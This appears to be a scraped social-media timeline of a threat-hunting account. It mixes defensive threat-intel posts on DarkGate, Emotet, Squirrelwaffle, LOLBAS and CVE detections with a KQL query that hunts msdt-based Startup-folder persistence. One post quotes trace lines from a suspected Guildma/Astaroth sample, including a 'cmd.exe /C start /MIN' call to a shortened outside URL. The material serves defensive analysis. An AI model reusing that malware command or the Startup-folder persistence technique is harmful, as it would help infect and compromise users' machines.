Ocelotty

Ocelot with beret and scarf

[Deutsche Telekom CERT @DTCERT]

On September 21st, 2023 Telekom Security CTI Team observed the threat actor #TA577, also known as "TR", launching a new high-volume malware distribution campaign spreading #DarkGate malware. 🧵 1/4

[Ocelotty @Ocelotty6669]

@ali_alwashali ++Ngrok

[Ocelotty @Ocelotty6669]

@GossiTheDog Improvable? Sure, but just an idea to help 🙂

[Ocelotty @Ocelotty6669]

@rasmusjhave @GossiTheDog @sunnyc7 @shotgunner101 @reprise_99 @NathanMcNulty Btw, why filter by FileName? (FP)
Surely specifying the FolderPath could limit results to a specific scenario, but it is the closest condition for executing a malicious binary without user interaction and without creating additional processes (such as scheduled tasks or services)

[Ocelotty @Ocelotty6669]

Happy Hunt!🥳

DeviceFileEvents
| where ActionType == "FileCreated"
| where FolderPath contains @"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
| where InitiatingProcessCommandLine contains "\"msdt.exe\" /cab"

@GossiTheDog #dogwalk

[Ocelotty @Ocelotty6669]

@abuse_ch

[bohops @bohops]

[#LOLBAS Update] https://t.co/OKqDKOmE2Y
To supplement the recently added MITRE ATT&CK v10 mappings, detection resources for LOLBAS have been added to include links to relevant publicly available detection rules [Sigma/Elastic/Splunk], Block Rules (WDAC), and analysis resources!

[Ocelotty @Ocelotty6669]

@anyrun_app

[ANY.RUN @anyrun_app]

#Emotet is reborn again! The botnet delivers both malicious documents and payloads from C2 right now. The maldocs for distribution are Excel and Word files. But there is no sign for active spam yet. Don't miss the latest news about #Emotet with ANYRUN! https://t.co/ZwuicNpZcc

[/r/netsec @_r_netsec]

Living Off Trusted Sites (LOTS) Project Attackers are using popular legitimate domains when conducting phishing, C&C, exfiltration and downloading tools to evade detection. The list of websites below allow attackers to use their domain or subdomain https://t.co/ARgpxPjZvA

[JAMESWT @JAMESWT_WT]

Mentioned
#MysterySnail
#CVE-2021-40449
Sample
https://t.co/4b4DdZdFuY

[Florian Roth ⚡️ @cyb3rops]

I've converted @daffainfo nuclei template into a #Sigma rule to detect exploitation of the #Apache path traversal vulnerability reported in CVE-2021-41773

#CVE202141773

Nuclei Template
https://t.co/nFdTlnXCSS

Sigma Rule
https://t.co/LvdcroscA1

[Max_Malyutin @Max_Mal_]

Check out my malware analysis article about the new villain #Squirrelwaffle

“A Virtual Baffle to Battle 🐿🧇⚔️”

Execution flow:
#MalSpam > #MalDoc > #LOLBbin > #CobaltStrike > #Ransomware (?)💥

#DFIR #BlueTeam #ThreatIntel

https://t.co/6e4MFihBxz

[Ocelotty @Ocelotty6669]

@Max_Mal_ Never forget
https://t.co/xgX4kTWtRM

[Florian Roth ⚡️ @cyb3rops]

Disable Macros in documents downloaded from the Internet
(makes use of the Zone Identifier)

https://t.co/AFgVtgQTwJ

Ransomware Prevention - see the respective tab in this spreadsheet
https://t.co/rwQen1khof

More general recommendations
https://t.co/hHqcw6VrFf

[JAMESWT @JAMESWT_WT]

#Spy #Ousaban 500MB dll
https://t.co/m4NaEFDLMh
https://t.co/ePeBokIHam

[Ocelotty @Ocelotty6669]

@abuse_ch
@anyrun_app
@Myrtus0x0
@ValthekOn
@executemalware
@JAMESWT_MHT
@James_inthe_box
@JRoosen
@Cryptolaemus1
@malware_traffic
@ffforward

[Ocelotty @Ocelotty6669]

New malware campaign (Guildma/Astaroth?) abusing @Avira executable for infection?🤔
#Malware #threathunting #lolbin @cyb3rops @malwrhunterteam

[Ocelotty @Ocelotty6669]

IFileSystem3.FileExists("C:\Users\XXXXX\bugau_chine.xls");
https://t.co/MnXLj5VNX7("c:\Windows\System32\cmd.exe /C start /MIN https://t.co/eK3xFnuAvD");

[Ocelotty @Ocelotty6669]

Script launched by msiexec.exe (extracted by zip file)
IWshShell3.ExpandEnvironmentStrings("%userprofile%");
IWshShell3.ExpandEnvironmentStrings("%userprofile%");
IFileSystem3.FolderExists("C:\Users\XXXXX\AppData\Local\");
IWshShell3.ExpandEnvironmentStrings("%userprofile%");

[Ocelotty @Ocelotty6669]

@cerveriusf @darioemehache Falta otro que sea “De Categoría”

[Ocelotty @Ocelotty6669]

@darioemehache